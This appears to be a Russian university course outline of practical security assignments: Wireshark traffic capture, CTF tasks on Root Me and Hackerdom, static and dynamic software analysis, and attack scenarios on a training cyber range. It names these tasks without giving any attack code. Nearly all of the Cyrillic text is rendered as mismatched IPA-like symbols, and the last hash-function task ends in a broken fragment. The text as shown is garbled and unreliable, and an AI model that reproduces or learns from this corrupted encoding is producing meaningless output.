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ɺɺɽɼɽʅʀɽ 

ʇʨʘʢʪʠʢʫʤ ʧʦ ʜʠʩʮʠʧʣʠʥʝ çʆʩʥʦʚʳ ʠʥʬʦʨʤʘʮʠʦʥʥʦʡ ʙʝʟʦʧʘʩʥʦʩʪʠè 

ʥʘʧʨʘʚʣʝʥ ʥʘ ʧʦʣʫʯʝʥʠʝ ʧʨʘʢʪʠʯʝʩʢʠʭ ʥʘʚʳʢʦʚ ʚ ʦʙʣʘʩʪʠ ʦʨʛʘʥʠʟʘʮʠʠ ʩʝʪʝʡ, 

ʧʝʨʝʭʚʘʪʘ ʠ ʘʥʘʣʠʟʘ ʧʘʢʝʪʦʚ Wireshark (https://www.wireshark.org/), ʨʝʰʝʥʠʝ 

ʧʨʘʢʪʠʯʝʩʢʠʭ ʟʘʜʘʯ ʥʘ ʩʘʡʪʘʭ: Root Me (https://www.root-me.org), Hackerdom 

(https://2019.hackerdom.ru),  ʢʦʪʦʨʳʝ ʧʨʝʜʣʘʛʘʪʁ ʙʦʣʝʝ 250 ʟʘʜʘʯ ʠ ʙʦʣʝʝ 50 

ʚʠʨʪʫʘʣʴʥʳʭ ʩʨʝʜ, ʧʦʟʚʦʣʷʶʱʠʭ ʩʪʫʜʝʥʪʫ ʧʨʠʤʝʥʠʪʴ ʥʘ ʧʨʘʢʪʠʢʝ ʩʚʦʠ 

ʥʘʚʳʢʠ ʚʟʣʦʤʘ ʚ ʨʘʟʣʠʯʥʳʭ ʩʮʝʥʘʨʠʷʭ. ɺʳʧʦʣʥʝʥʠʝ ʩʪʘʪʠʯʝʩʢʦʛʦ ʠ 

ʜʠʥʘʤʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ ʙʝʟʦʧʘʩʥʦʩʪʠ ʧʨʠʣʦʞʝʥʠʡ, ʘ ʪʘʢʞʝ ʚʳʧʦʣʥʝʥʠʝ 

ʩʮʝʥʘʨʠʝʚ ʥʘ ʢʠʙʝʨʧʦʣʠʛʦʥʝ "Ampire" ʩ ʠʩʧʦʣʴʟʦʚʘʥʠʝʤ ʜʦʩʪʫʧʥʳʭ 

ʠʥʩʪʨʫʤʝʥʪʦʚ. ɼʣʷ ʧʦʣʫʯʝʥʠʷ ʟʘʯʝʪʘ ʧʦ ʜʠʩʮʠʧʣʠʥʝ çʆʩʥʦʚʳ 

ʠʥʬʦʨʤʘʮʠʦʥʥʦʡ ʙʝʟʦʧʘʩʥʦʩʪʠè ʩʪʫʜʝʥʪʫ ʥʝʦʙʭʦʜʠʤʦ ʚʳʧʦʣʥʠʪʴ ʫʢʘʟʘʥʥʳʝ 

ʧʨʘʢʪʠʯʝʩʢʠʝ ʟʘʜʘʥʠʷ ʠ ʧʨʦʡʪʠ ʢʦʥʪʨʦʣʴʥʦʝ ʪʝʩʪʠʨʦʚʘʥʠʝ.  

Root me ï ʵʪʦ ʦʜʥʘ ʠʟ ʧʣʘʪʬʦʨʤ ʜʣʷ ʧʨʘʢʪʠʢʠ ʧʝʥʪʝʩʪʘ ʠ ʨʝʰʝʥʠʷ 

ʟʘʜʘʥʠʡ ʧʦ ʧʨʠʥʮʠʧʫ CTF. Hackerdom - ʘʨʭʠʚ ʟʘʜʘʯ ʤʝʞʜʫʥʘʨʦʜʥʦʛʦ 

ʩʦʨʝʚʥʦʚʘʥʠʷ Hackerdom CTF. ʉʠʩʪʝʤʘ ʦʨʠʝʥʪʠʨʦʚʘʥʘ ʥʘ ʧʨʦʬʝʩʩʠʦʥʘʣʴʥʦʝ 

ʦʙʫʯʝʥʠʝ ʠ ʧʦʜʛʦʪʦʚʢʫ ʢ ʫʯʘʩʪʠʶ ʚ ʩʦʨʝʚʥʦʚʘʥʠʷʭ CTF. 

ɸʥʘʣʠʟ ʧʘʢʝʪʦʚ ʦʧʠʩʳʚʘʝʪ ʧʨʦʮʝʩʩ ʧʝʨʝʭʚʘʪʘ ʠ ʠʥʪʝʨʧʨʝʪʘʮʠʠ 

ʜʝʡʩʪʚʫʶʱʠʭ ʜʘʥʥʳʭ ʧʦ ʤʝʨʝ ʠʭ ʧʨʦʜʚʠʞʝʥʠʷ ʧʦ ʩʝʪʠ, ʯʪʦʙʳ ʣʫʯʰʝ ʧʦʥʷʪʴ, 

ʯʪʦ ʚ ʥʝʡ ʧʨʦʠʩʭʦʜʠʪ. ɸʥʘʣʠʟʘʪʦʨ ʧʘʢʝʪʦʚ ï ʠʥʩʪʨʫʤʝʥʪʘʣʴʥʦʝ ʩʨʝʜʩʪʚʦ, 

ʧʨʠʤʝʥʷʝʤʦʝ ʜʣʷ ʧʝʨʝʭʚʘʪʘ ʧʝʨʚʠʯʥʳʭ ʜʘʥʥʳʭ, ʧʝʨʝʜʘʚʘʝʤʳʭ ʧʦ ʩʝʪʠ. ɼʣʷ 

ʥʘʯʘʣʘ ʥʝʦʙʭʦʜʠʤʦ ʠʟʫʯʠʪʴ ʬʫʥʢʮʠʦʥʘʣʴʥʳʝ ʦʩʦʙʝʥʥʦʩʪʠ ʘʥʘʣʠʟʘʪʦʨʘ 

Wireshark ʠ ʛʨʘʬʠʯʝʩʢʠʡ ʠʥʪʝʨʬʝʡʩ, ʦʩʫʱʝʩʪʚʠʪʴ ʧʝʨʝʭʚʘʪ ʧʘʢʝʪʦʚ ʠ ʟʘʪʝʤ 

ʥʘʯʘʪʴ ʘʥʘʣʠʟ. ʏʪʦʙʳ ʧʦʣʫʯʠʪʴ ʜʦʩʪʫʧ ʢ ʛʣʦʙʘʣʴʥʳʤ ʧʘʨʘʤʝʪʨʘʤ ʥʘʩʪʨʦʡʢʠ 

Wireshark, ʥʝʦʙʭʦʜʠʤʦ ʚʳʙʨʘʪʴ ʢʦʤʘʥʜʫ ʇʨʘʚʢʘ ï ʇʘʨʘʤʝʪʨʳ ʠʟ ʛʣʘʚʥʦʛʦ 

ʤʝʥʶ. ɻʣʦʙʘʣʴʥʳʝ ʧʘʨʘʤʝʪʨʳ ʥʘʩʪʨʦʡʢʠ ʨʘʟʙʠʪʳ ʥʘ ʰʝʩʪʴ ʦʩʥʦʚʥʳʭ 

ʨʘʟʜʝʣʦʚ: ʇʨʝʜʩʪʘʚʣʝʥʠʝ ï ʇʝʨʝʭʚʘʪ ï ʌʠʣʴʪʨʫʶʱʠʝ ʚʳʨʘʞʝʥʠʷ ï

ʇʨʝʦʙʨʘʟʦʚʘʥʠʝ ʠʤʝʥ ï ʇʨʦʪʦʢʦʣʳ ï ʉʪʘʪʠʩʪʠʢʘ ï ɼʦʧʦʣʥʠʪʝʣʴʥʦ. 

ʇʨʦʛʨʘʤʤʘ ʧʦʟʚʦʣʷʝʪ ʧʨʦʩʤʘʪʨʠʚʘʪʴ ʠ ʘʥʘʣʠʟʠʨʦʚʘʪʴ ʧʘʢʝʪʳ, ʧʦʣʫʯʝʥʥʳʝ ʠʟ 

ʩʝʪʝʚʦʛʦ ʠʥʪʝʨʬʝʡʩʘ ʠʣʠ ʨʘʥʝʝ ʩʦʙʨʘʥʥʦʛʦ ʬʘʡʣʘ. Wireshark ʧʦʟʚʦʣʷʝʪ 

ʩʦʭʨʘʥʠʪʴ ʬʘʡʣʳ ʧʝʨʝʭʚʘʪʘ ʜʣʷ ʧʦʩʣʝʜʫʶʱʝʛʦ ʘʥʘʣʠʟʘ. ʅʝʩʢʦʣʴʢʦ ʬʘʡʣʦʚ 

ʧʝʨʝʭʚʘʪʘ ʤʦʞʥʦ ʦʙʲʝʜʠʥʠʪʴ ʚʤʝʩʪʝ.  

ʉʪʘʪʠʯʝʩʢʠʡ ʘʥʘʣʠʟ: ʵʪʦ ʧʨʦʮʝʩʩ ʘʥʘʣʠʟʘ ʜʚʦʠʯʥʦʛʦ ʬʘʡʣʘ ʙʝʟ ʝʛʦ 

ʚʳʧʦʣʥʝʥʠʷ. ɽʛʦ ʧʨʦʱʝ ʚʩʝʛʦ ʦʩʫʱʝʩʪʚʠʪʴ, ʠ ʦʥ ʧʦʟʚʦʣʷʝʪ ʠʟʚʣʝʯʴ 

https://www.wireshark.org/
https://www.wireshark.org/
https://www.root-me.org/
https://www.root-me.org/
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ʤʝʪʘʜʘʥʥʳʝ, ʩʚʷʟʘʥʥʳʝ ʩ ʧʦʜʦʟʨʠʪʝʣʴʥʳʤ ʜʚʦʠʯʥʳʤ ʬʘʡʣʦʤ. ʉʪʘʪʠʯʝʩʢʠʡ 

ʘʥʘʣʠʟ ʤʦʞʝʪ ʥʝ ʚʳʷʚʠʪʴ ʚʩʝʭ ʥʝʦʙʭʦʜʠʤʳʭ ʩʚʝʜʝʥʠʡ, ʥʦ ʠʥʦʛʜʘ ʤʦʞʝʪ 

ʧʨʝʜʦʩʪʘʚʠʪʴ ʠʥʪʝʨʝʩʥʫʶ ʠʥʬʦʨʤʘʮʠʶ, ʢʦʪʦʨʘʷ ʧʦʤʦʛʘʝʪ ʩʦʩʨʝʜʦʪʦʯʠʪʴ 

ʚʘʰʠ ʧʦʩʣʝʜʫʶʱʠʝ ʫʩʠʣʠʷ ʧʦ ʘʥʘʣʠʟʫ.  

ɼʠʥʘʤʠʯʝʩʢʠʡ ʘʥʘʣʠʟ (ʧʦʚʝʜʝʥʯʝʩʢʠʡ ʘʥʘʣʠʟ): ʵʪʦ ʧʨʦʮʝʩʩ ʚʳʧʦʣʥʝʥʠʷ 

ʧʦʜʦʟʨʠʪʝʣʴʥʦʛʦ ʙʠʥʘʨʥʦʛʦ ʬʘʡʣʘ ʚ ʠʟʦʣʠʨʦʚʘʥʥʦʡ ʩʨʝʜʝ ʠ ʦʪʩʣʝʞʠʚʘʥʠʝ 

ʝʛʦ ʧʦʚʝʜʝʥʠʷ. ʕʪʦʪ ʤʝʪʦʜ ʘʥʘʣʠʟʘ ʧʨʦʩʪ ʚ ʚʳʧʦʣʥʝʥʠʠ ʠ ʜʘʝʪ ʮʝʥʥʫʶ 

ʠʥʬʦʨʤʘʮʠʶ ʦ ʜʝʷʪʝʣʴʥʦʩʪʠ ʜʚʦʠʯʥʦʛʦ ʬʘʡʣʘ ʧʨʠ ʝʛʦ ʚʳʧʦʣʥʝʥʠʠ. ʕʪʦʪ 

ʤʝʪʦʜ ʧʦʣʝʟʝʥ, ʥʦ ʥʝ ʨʘʩʢʨʳʚʘʝʪ ʚʩʝʭ ʬʫʥʢʮʠʦʥʘʣʴʥʳʭ ʚʦʟʤʦʞʥʦʩʪʝʡ 

ʚʨʘʞʜʝʙʥʦʡ ʧʨʦʛʨʘʤʤʳ.  

ʂʠʙʝʨʧʦʣʠʛʦʥ - ʵʪʦ ʝʜʠʥʘʷ ʩʠʩʪʝʤʘ ʫʯʝʙʥʦ-ʤʝʪʦʜʠʯʝʩʢʠʭ ʠ ʫʯʝʙʥʦ-

ʪʨʝʥʠʨʦʚʦʯʥʳʭ ʢʦʤʧʣʝʢʩʦʚ ʦʪ ʛʨʫʧʧr ʢʦʤʧʘʥʠʡ ʀʥʬʦʪʝʢʩ. ɺ ʨʘʤʢʘʭ 

ʢʠʙʝʨʧʦʣʠʛʦʥʘ ʨʘʟʚʝʨʥʫʪʘ ʧʣʘʪʬʦʨʤʘ Ampire, ʢʦʪʦʨʘʷ ʧʦʟʚʦʣʷʝʪ 

ʵʤʫʣʠʨʦʚʘʪʴ ʠʣʠ ʩʦʟʜʘʚʘʪʴ ʚʠʨʪʫʘʣʴʥʫʶ ʠʥʬʨʘʩʪʨʫʢʪʫʨʫ ʪʠʧʦʚʦʛʦ 

ʧʨʝʜʧʨʠʷʪʠʷ, ʘ ʪʘʢʞʝ ʧʦʟʚʦʣʷʝʪ ʧʦʣʫʯʘʪʴ ʧʨʘʢʪʠʯʝʩʢʠʝ ʥʘʚʳʢʠ ʧʦ 

ʦʙʥʘʨʫʞʝʥʠʶ ʠ ʫʩʪʨʘʥʝʥʠʶ ʢʦʤʧʴʶʪʝʨʥʳʭ ʘʪʘʢ. ʇʣʘʪʬʦʨʤʘ ʂʠʙʝʨʧʦʣʠʛʦʥʘ 

ʩʦʜʝʨʞʠʪ 4 ʮʠʬʨʦʚʳʝ ʢʦʧʠʠ ʨʝʘʣʴʥʳʭ ʠʥʬʨʘʩʪʨʫʢʪʫʨ ʠ ʧʨʦʮʝʩʩʦʚ 

ʧʨʝʜʧʨʠʷʪʠʡ ʢʦʨʧʦʨʘʪʠʚʥʦʛʦ, ʵʥʝʨʛʝʪʠʯʝʩʢʦʛʦ, ʪʝʣʝʢʦʤʤʫʥʠʢʘʮʠʦʥʥʦʛʦ, 

ʬʠʥʘʥʩʦʚʦʛʦ ʩʝʢʪʦʨʘ. ɺ ʘʨʩʝʥʘʣʝ 6 ʩʮʝʥʘʨʠʝʚ ʢʠʙʝʨʘʪʘʢ, ʚʢʣʶʯʘʷ 4 ʩʮʝʥʘʨʠʷ 

ʩ ʫʯʘʩʪʠʝʤ ʚʥʝʰʥʝʛʦ ʥʘʨʫʰʠʪʝʣʷ, 2 ʚʥʫʪʨʝʥʥʝʛʦ, ʘ ʪʘʢʞʝ ʢʦʥʬʠʛʫʨʘʪʦʨ, 

ʢʦʪʦʨʳʡ ʧʦʟʚʦʣʷʝʪ ʩʦʙʠʨʘʪʴ ʨʘʟʣʠʯʥʳʝ ʫʥʠʢʘʣʴʥʳʝ ʩʮʝʥʘʨʠʠ ʠʟ ʙʦʣʝʝ ʯʝʤ 

20 ʫʷʟʚʠʤʳʭ ʫʟʣʦʚ.  

ɺ ʨʘʤʢʘʭ ʠʟʫʯʝʥʠʷ ʜʠʩʮʠʧʣʠʥʳ ʩʪʫʜʝʥʪʳ ʜʣʷ ʟʘʢʨʝʧʣʝʥʠʷ ʨʘʟʜʝʣʘ ʦʙ 

ʘʣʛʦʨʠʪʤʘʭ ʰʠʬʨʦʚʘʥʠʷ ʧʨʝʜʣʦʞʝʥʦ ʚʳʧʦʣʥʠʪʴ ʧʨʘʢʪʠʯʝʩʢʦʝ ʟʘʜʘʥʠʝ ʥʘ 

ʥʘʭʦʞʜʝʥʠʷ ʬʫʥʢʮʠʠ ʭʵʰʠʨʦʚʘʥʠʷ. ʍʵ-hʬʫʥʢʮʠʷ ï ʵʪʦ ʬʫʥʢʮʠʷ, 

ʦʪʦʙʨʘʞʘʶʱʘʷ ʘʨʛʫʤʝʥʪ ʧʨʦʠʟʚʦʣʴʥʦʡ ʢʦʥʝʯʥʦʡ ʜʣʠʥʳ ʚ ʦʙʨʘʟ 

ʬʠʢʩʠʨʦʚʘʥʥʦʡ ʜʣʠʥʳ. ʌʫʥʢʮʠʷ, ʜʣʷ ʢʦʪʦʨʦʡ ʧʦ ʜʘʥʥʦʤʫ ʘʨʛʫʤʝʥʪʫ 

ʚʳʯʠʩʣʠʪʴ ʝʸ ʟʥʘʯʝʥʠʝ ʣʝʛʢʦ, ʘ ʧʦ ʜʘʥʥʦʤʫ ʟʥʘʯʝʥʠʶ ʬʫʥʢʮʠʠ ʘʨʛʫʤʝʥʪ 

ʥʘʡʪʠ ʩʣʦʞʥʦ, ʥʘʟʳʚʘʝʪʩʷ ʭʵʰ-ʬʫʥʢʮʠʝʡ, ʚʳʯʠʩʣʠʤʦʡ ʚ ʦʜʥʫ ʩʪʦʨʦʥʫ. ɹʫʜʝʤ 

ʩʯʠʪʘʪʴ ʚʩʝ ʭʵʰ-ʬʫʥʢʮʠʠ ʚʳʯʠʩʣʠʤʳʤʠ ʚ ʦʜʥʫ ʩʪʦʨʦʥʫ. ɽʩʣʠ ʭʵʰ-ʬʫʥʢʮʠʷ 

ʟʘʚʠʩʠʪ ʦʪ ʩʝʢʨʝʪʥʦʛʦ ʢʣʶʯʘ, ʦʥʘ ʥʘʟʳʚʘʝʪʩʷ ʢʣʶʯʝʚʦʡ, ʚ ʧʨʦʪʠʚʥʦʤ ʩʣʫʯʘʝ 

ï ʙʝʩʢʣʶʯʝʚʦʡ.  
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ɿʘʜʘʥʠʝ ˉ 1. ʀʟʫʯʝʥʠʝ ʠ ʚʳʧʦʣʥʝʥʠʝ ʟʘʜʘʥʠʡ ʥʘ ʧʣʘʪʬʦʨʤʝ Root Me 

ʠʣʠ Hackerdom 

ɼʣʷ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʷ ʥʘ ʧʣʘʪʬʦʨʤʝ ʩʪʫʜʝʥʪʫ ʥʝʦʙʭʦʜʠʤʦ 

ʟʘʨʝʛʠʩʪʨʠʨʦʚʘʪʴʩʷ ʥʘ ʧʣʘʪʬʦʨʤʝ ʠ ʧʨʠʢʨʝʧʠʪʴ ʬʘʡʣ ʩ ʣʦʛʠʥʦʤ ʠ ʧʘʨʦʣʝʤ ʚ 

ʣʠʯʥʦʤ ʢʘʙʠʥʝʪʝ ʩʪʫʜʝʥʪʘ https://lms.mtuci.ru/lms/ ʚ ʢʫʨʩʝ ʧʦ ʜʘʥʥʦʡ 

ʜʠʩʮʠʧʣʠʥʝ. ɼʘʣʝʝ ʩʪʫʜʝʥʪʫ ʥʝʦʙʭʦʜʠʤʦ ʚʳʧʦʣʥʠʪʴ ʣʶʙʦʝ ʢʦʣʠʯʝʩʪʚʦ 

ʟʘʜʘʥʠʡ ʨʘʟʣʠʯʥʦʡ ʩʣʦʞʥʦʩʪʠ ʠʟ ʧʨʝʜʩʪʘʚʣʝʥʥʳʭ ʢʘʪʝʛʦʨʠʡ ʧʦ ʩʣʝʜʫʶʱʠʤ 

ʪʝʤʘʤ: Web-ʢʣʠʝʥʪ, Web-ʩʝʨʚʝʨ, ʉʝʪʠ, ʈʝʚʝʨʩ-ʠʥʞʠʥʠʨʠʥʛ, ʂʨʠʧʪʦʘʥʘʣʠʟ, 

ɺʝʙ-ʵʢʩʧʣʦʡʪ,r ʉʝʪʝʚʳʝ ʟʘʜʘʯʠ. ʂʘʞʜʦʝ ʟʘʜʘʥʠʝ ʦʮʝʥʠʚʘʝʪʩʷ ʨʘʟʣʠʯʥʳʤ 

ʢʦʣʠʯʝʩʪʚʦʤ ʙʘʣʣʦʚ ʚ ʟʘʚʠʩʠʤʦʩʪʠ ʦʪ ʩʣʦʞʥʦʩʪʠ ʟʘʜʘʥʠʷ/ʧʣʘʪʬʦʨʤʳ. 

ʂʦʣʠʯʝʩʪʚʦ ʥʘʙʨʘʥʥʳʭ ʙʘʣʣʦʚ ʦʧʨʝʜʝʣʷʝʪʩʷ ʧʨʝʧʦʜʘʚʘʪʝʣʝʤ ʥʘ ʧʝʨʚʦʤ 

ʟʘʥʷʪʠʠ ʠ ʜʦʚʦʜʠʪʩʷ ʜʦ ʩʚʝʜʝʥʠʷ ʩʪʫʜʝʥʪʘ.  

ɿʘʜʘʥʠʝ ˉ2. ʉʪʘʪʠʯʝʩʢʠʡ ʘʥʘʣʠʟ ʙʝʟʦʧʘʩʥʦʩʪʠ ʧʨʠʣʦʞʝʥʠʡ 

ʀʟʫʯʠʪʝ ʙʘʟʦʚʳʝ ʩʪʘʪʠʯʝʩʢʠʝ ʤʝʪʦʜʠʢʠ ʘʥʘʣʠʟʘ ʚʨʝʜʦʥʦʩʥʦʛʦ 

ʧʨʦʛʨʘʤʤʥʦʛʦ ʦʙʝʩʧʝʯʝʥʠʷ (ɺʇʆ). 

ɿʘʜʘʥʠʝ ˉ 3. ɿʥʘʢʦʤʩʪʚʦ ʩ Wireshark 

ʀʟʫʯʠʪʝ ʬʫʥʢʮʠʦʥʘʣʴʥʳʝ ʚʦʟʤʦʞʥʦʩʪʠ ʩʝʪʝʚʦʛʦ ʘʥʘʣʠʟʘʪʦʨʘ ʪʨʘʬʠʢʘ 

Wireshark. ʅʝʦʙʭʦʜʠʤʦ ʧʨʦʡʪʠ ʧʨʦʮʝʜʫʨʫ ʨʝʛʠʩʪʨʘʮʠʠ ʥʘ ʩʘʡʪʝ, ʩ ʢʦʪʦʨʦʛʦ 

ʙʫʜʝʪ ʦʩʫʱʝʩʪʚʣʷʪʴʩʷ ʟʘʭʚʘʪ ʪʨʘʬʠʢʘ. ɸʜʨʝʩ ʩʘʡʪʘ ʩʪʫʜʝʥʪ ʧʦʣʫʯʘʝʪ ʦʪ 

ʧʨʝʧʦʜʘʚʘʪʝʣʷ ʥʘ ʧʝʨʚʦʤ ʟʘʥʷʪʠʠ ʠ ʧʨʠʩʪʫʧʘʝʪ ʢ ʚʳʧʦʣʥʝʥʠʶ ʩʣʝʜʫʶʱʝʛʦ 

ʟʘʜʘʥʠʷ: 

1) ʦʩʫʱʝʩʪʚʠʪʴ ʟʘʭʚʘʪ ʪʨʘʬʠʢʘ; 

2) ʠʟʫʯʠʪʴ ʩʪʨʫʢʪʫʨʫ IPïʧʘʢʝʪʘ, ʟʘʛʦʣʦʚʢʠ IP TCP UDPïʧʘʢʝʪʘ ʠ ʝʛʦ 

ʧʦʣʷ; 

3) ʠʟʫʯʝʥʠʝ ʬʫʥʢʮʠʦʥʘʣʴʥʳʭ ʚʦʟʤʦʞʥʦʩʪʝʡ; 

4) ʛʨʘʬʠʯʝʩʢʦʝ ʧʨʝʜʩʪʘʚʣʝʥʠʝ ʟʘʭʚʘʯʝʥʥʦʛʦ ʪʨʘʬʠʢʘ; 

5) ʛʝʦʛʨʘʬʠʯʝʩʢʦʝ ʧʨʝʜʩʪʘʚʣʝʥʠʝ ʟʘʭʚʘʯʝʥʥʦʛʦ ʪʨʘʬʠʢʘ. 

ɿʘʜʘʥʠʝ ˉ4. ɼʠʥʘʤʠʯʝʩʢʠʡ ʘʥʘʣʠʟ ʙʝʟʦʧʘʩʥʦʩʪʠ ʧʨʠʣʦʞʝʥʠʡ 

ɼʣʷ ʜʠʥʘʤʠʯʝʩʢʦʛʦ ʘʥʘʣʠʟʘ ʇʆ ʥʫʞʥʦ ʚʳʧʦʣʥʠʪʴ ʩʣʝʜʫʶʱʠʝ ʰʘʛʠ: 

1. ɿʘʧʫʩʪʠʪʴ Process Monitor, ʫʩʪʘʥʦʚʠʪʴ ʬʠʣʴʪʨ ʩ ʠʤʝʥʝʤ ʠʩʧʦʣʥʷʝʤʦʛʦ 

ʬʘʡʣʘ ʠ ʦʯʠʩʪʠʪʴ ʚʩʝ ʩʦʙʳʪʠʷ, ʟʘʧʠʩʘʥʥʳʝ ʨʘʥʝʝ. 

2. ɿʘʧʫʩʪʠʪʴ Process Explorer. 

3. ɸʢʪʠʚʠʟʠʨʦʚʘʪʴ ʟʘʧʠʩʴ ʩʝʪʝʚʦʛʦ ʪʨʘʬʠʢʘ ʩ ʠʩʧʦʣʴʟʦʚʘʥʠʝʤ Wireshark. 

4. ʉʜʝʣʘʪʴ ʧʝʨʚʳʡ ʩʥʠʤʦʢ ʨʝʝʩʪʨʘ ʩ ʧʦʤʦʱʴʶ Regshot. 

https://lms.mtuci.ru/lms/
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5. ɿʘʧʫʩʪʠʪʴ ʠʟʫʯʘʝʤʦʝ ʇʆ. 

6. ʉʜʝʣʘʪʴ ʚʪʦʨʦʡ ʩʥʠʤʦʢ ʨʝʝʩʪʨʘ ʩ ʧʦʤʦʱʴʶ Regshot. 

7. ʇʨʦʚʝʩʪʠ ʘʥʘʣʠʟ ʧʦʣʫʯʝʥʥʳʭ ʜʘʥʥʳʭ ʩʦ ʚʩʝʭ ʧʨʦʛʨʘʤʤ. 

ɿʘʜʘʥʠʝ ˉ5. ɸʥʘʣʠʟ ʩʝʪʝʚʦʛʦ ʪʨʘʬʠʢʘ 

ɿʘʜʘʯʝʡ ʷʚʣʷʝʪʩʷ ʘʥʘʣʠʟ ʩʝʪʝʚʦʛʦ ʪʨʘʬʠʢʘ ʥʘ ʧʨʝʜʤʝʪ ʥʘʣʠʯʠʷ 

ʢʦʤʧʴʶʪʝʨʥʳʭ ʘʪʘʢ (ʜʘʣʝʝ - ʂɸ). ʇʦʩʣʝ ʚʳʷʚʣʝʥʠʷ ʂɸ ʩʪʫʜʝʥʪʫ ʥʝʦʙʭʦʜʠʤʦ 

ʧʨʦʠʟʚʝʩʪʠ ʤʘʢʩʠʤʘʣʴʥʦ ʧʦʜʨʦʙʥʦʝ ʦʧʠʩʘʥʠʝ ʂɸ. 

ɿʘʜʘʥʠʝ ˉ6. ʂʠʙʝʨʧʦʣʠʛʦʥ "Ampire", ʩʮʝʥʘʨʠʡ çɸʪʘʢʘ ʥʘ ʧʦʯʪʦʚʳʡ 

ʩʝʨʚʝʨè (ʢʦʥʬʠʛʫʨʘʪʦʨ). 

ʇʨʘʢʪʠʯʝʩʢʦʝ ʟʘʜʘʥʠʝ ʥʘʮʝʣʝʥʦ ʥʘ ʫʢʨʝʧʣʝʥʠʝ ʠ ʨʘʩʰʠʨʝʥʠʝ 

ʪʝʦʨʝʪʠʯʝʩʢʠʭ ʠ ʧʨʘʢʪʠʯʝʩʢʠʭ ʟʥʘʥʠʡ ʚ ʦʙʣʘʩʪʠ ʧʨʝʜʦʪʚʨʘʱʝʥʠʷ ʘʪʘʢ ʥʘ 

ʢʦʨʧʦʨʘʪʠʚʥʳʝ ʩʝʪʠ ʠ ʚʳʨʘʙʦʪʢʠ ʦʧʪʠʤʘʣʴʥʦʛʦ ʩʮʝʥʘʨʠʷ ʨʝʘʛʠʨʦʚʘʥʠʷ ʥʘ 

ʘʪʘʢʫ. ɼʣʷ ʨʝʘʣʠʟʘʮʠʠ ʧʦʩʪʘʚʣʝʥʥʳʭ ʟʘʜʘʯ ʥʝʦʙʭʦʜʠʤʦ ʠʩʧʦʣʴʟʦʚʘʪʴ 

ʠʥʩʪʨʫʤʝʥʪʳ, ʜʦʩʪʫʧʥʳʝ ʥʘ ʢʠʙʝʨʧʦʣʠʛʦʥʝ "Ampire", ʚʢʣʶʯʘʷ ʩʠʩʪʝʤʳ 

ʤʦʥʠʪʦʨʠʥʛʘ ʠ ʦʙʥʘʨʫʞʝʥʠʷ ʘʥʦʤʘʣʠʡ, ʩʨʝʜʩʪʚʘ ʘʥʘʣʠʟʘ ʪʨʘʬʠʢʘ, ʚʢʣʶʯʘʷ 

ʤʦʜʝʣʠʨʦʚʘʥʠʝ ʩʮʝʥʘʨʠʝʚ ʘʪʘʢ ʭʘʢʝʨʘ ʥʘ ʩʝʪʴ ʢʦʤʧʘʥʠʠ, ʢʦʪʦʨʳʡ ʠʩʧʦʣʴʟʫʝʪ 

ʨʘʟʣʠʯʥʳʝ ʫʷʟʚʠʤʦʩʪʠ ʠ ʦʩʪʘʚʣʷʝʪ ʭʘʨʘʢʪʝʨʥʳʝ ʜʣʷ ʪʘʢʦʛʦ ʪʠʧʘ ʧʦʩʣʝʜʩʪʚʠʷ 

ʘʪʘʢʠ.  

ɿʘʜʘʥʠʝ ˉ7. ʂʠʙʝʨʧʦʣʠʛʦʥ "Ampire", ʩʮʝʥʘʨʠʡ çɸʪʘʢʘ ʥʘ ɸʉʋ ʊʇè 

(ʢʦʥʬʠʛʫʨʘʪʦʨ). 

ʇʨʘʢʪʠʯʝʩʢʘʷ ʨʘʙʦʪʘ ʥʘʮʝʣʝʥʘ ʥʘ ʫʢʨʝʧʣʝʥʠʝ ʠ ʨʘʩʰʠʨʝʥʠʝ 

ʪʝʦʨʝʪʠʯʝʩʢʠʭ ʠ ʧʨʘʢʪʠʯʝʩʢʠʭ ʟʥʘʥʠʡ ʚ ʦʙʣʘʩʪʠ ʧʨʝʜʦʪʚʨʘʱʝʥʠʷ ʘʪʘʢ ʥʘ 

ʢʦʨʧʦʨʘʪʠʚʥʳʝ ʩʝʪʠ ʠ ʚʳʨʘʙʦʪʢʠ ʦʧʪʠʤʘʣʴʥʦʛʦ ʩʮʝʥʘʨʠʷ ʨʝʘʛʠʨʦʚʘʥʠʷ ʥʘ 

ʘʪʘʢʫ. ɼʣʷ ʨʝʘʣʠʟʘʮʠʠ ʧʦʩʪʘʚʣʝʥʥʳʭ ʟʘʜʘʯ ʥʝʦʙʭʦʜʠʤʦ ʠʩʧʦʣʴʟʦʚʘʪʴ 

ʠʥʩʪʨʫʤʝʥʪʳ, ʜʦʩʪʫʧʥʳʝ ʥʘ ʢʠʙʝʨʧʦʣʠʛʦʥʝ "Ampire", ʚʢʣʶʯʘʷ ʩʠʩʪʝʤʳ 

ʤʦʥʠʪʦʨʠʥʛʘ ʠ ʦʙʥʘʨʫʞʝʥʠʷ ʘʥʦʤʘʣʠʡ, ʩʨʝʜʩʪʚʘ ʘʥʘʣʠʟʘ ʪʨʘʬʠʢʘ, ʚʢʣʶʯʘʷ 

ʤʦʜʝʣʠʨʦʚʘʥʠʝ ʩʮʝʥʘʨʠʝʚ ʘʪʘʢ ʭʘʢʝʨʘ ʥʘ ʩʝʪʴ ʢʦʤʧʘʥʠʠ, ʢʦʪʦʨʳʡ ʠʩʧʦʣʴʟʫʝʪ 

ʨʘʟʣʠʯʥʳʝ ʫʷʟʚʠʤʦʩʪʠ ʠ ʦʩʪʘʚʣʷʝʪ ʭʘʨʘʢʪʝʨʥʳʝ ʜʣʷ ʪʘʢʦʛʦ ʪʠʧʘ ʧʦʩʣʝʜʩʪʚʠʷ 

ʘʪʘʢʠ. ʇʨʘʢʪʠʯʝʩʢʘʷ ʨʘʙʦʪʘ ʚʳʧʦʣʥʷʝʪʩʷ ʧʦ ʩʮʝʥʘʨʠʶ çɸʪʘʢʘ ʥʘ ʧʦʯʪʦʚʳʡ 

ʩʝʨʚʝʨè, ʩʦʙʨʘʥʥʦʤʫ ʥʘ ʢʦʥʬʠʛʫʨʘʪʦʨʝ. 

ɿʘʜʘʥʠʝ ˉ 8. ʌʫʥʢʮʠʷ ʭʝʰʠʨʦʚʘʥʠʷ 

ʅʘʡʪʠ ʭʝʰïʦʙʨʘʟ ʩʚʦʝʡ ʬʘʤʠʣʠʠ, ʠʩʧʦʣʴʟʫʷ ʭʝʰïʬʫʥʢʮʠʶ,  

ʛʜʝ n = pq, p, q.   
